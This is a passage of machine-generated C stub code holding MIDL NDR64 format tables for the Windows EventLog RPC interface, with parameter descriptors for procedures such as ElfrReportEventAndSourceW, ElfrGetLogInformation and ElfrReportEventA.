&__midl_frag272,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag258\n};\n\nstatic const __midl_frag223_t __midl_frag223 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag222_t __midl_frag222 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag221_t __midl_frag221 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag222\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag220_t __midl_frag220 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag221\n};\n\nstatic const __midl_frag219_t __midl_frag219 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag218\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag219\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag217\n};\n\nstatic const __midl_frag215_t __midl_frag215 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag214_t __midl_frag214 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag212_t __midl_frag212 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag210_t __midl_frag210 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag209_t __midl_frag209 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag205_t __midl_frag205 =\n{ \n/* ElfrReportEventAndSourceW */\n    { \n    /* ElfrReportEventAndSourceW */      /* procedure ElfrReportEventAndSourceW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 128 /* 0x80 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 16 /* 0x10 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag210,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag209,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag209,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag210,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* SourceName */      /* parameter SourceName */\n        &__midl_frag5,\n        { \n        /* SourceName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag212,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag213,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag215,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag216,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag220,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag257,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag227,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag227,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        120 /* 0x78 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/* Opnum23NotUsedOnWire */\n    { \n    /* Opnum23NotUsedOnWire */      /* procedure Opnum23NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag201_t __midl_frag201 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag258\n};\n\nstatic const __midl_frag200_t __midl_frag200 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 1024 /* 0x400 */\n};\n\nstatic const __midl_frag198_t __midl_frag198 =\n{ \n/*  */\n    (NDR64_UINT32) 4 /* 0x4 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 1024 /* 0x400 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag197_t __midl_frag197 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag198\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag197\n};\n\nstatic const __midl_frag193_t __midl_frag193 =\n{ \n/* ElfrGetLogInformation */\n    { \n    /* ElfrGetLogInformation */      /* procedure ElfrGetLogInformation */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoLevel */      /* parameter InfoLevel */\n        &__midl_frag210,\n        { \n        /* InfoLevel */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpBuffer */      /* parameter lpBuffer */\n        &__midl_frag197,\n        { \n        /* lpBuffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBufSize */      /* parameter cbBufSize */\n        &__midl_frag200,\n        { \n        /* cbBufSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbBytesNeeded */      /* parameter pcbBytesNeeded */\n        &__midl_frag258,\n        { \n        /* pcbBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag182_t __midl_frag182 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag181_t __midl_frag181 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag182\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag180_t __midl_frag180 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag181\n};\n\nstatic const __midl_frag179_t __midl_frag179 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag178_t __midl_frag178 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag177_t __midl_frag177 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag178\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag113\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag179\n    }\n};\n\nstatic const __midl_frag176_t __midl_frag176 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag177\n};\n\nstatic const __midl_frag174_t __midl_frag174 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag166_t __midl_frag166 =\n{ \n/* ElfrReportEventA */\n    { \n    /* ElfrReportEventA */      /* procedure ElfrReportEventA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 120 /* 0x78 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 15 /* 0xf */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag210,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag209,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag209,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { 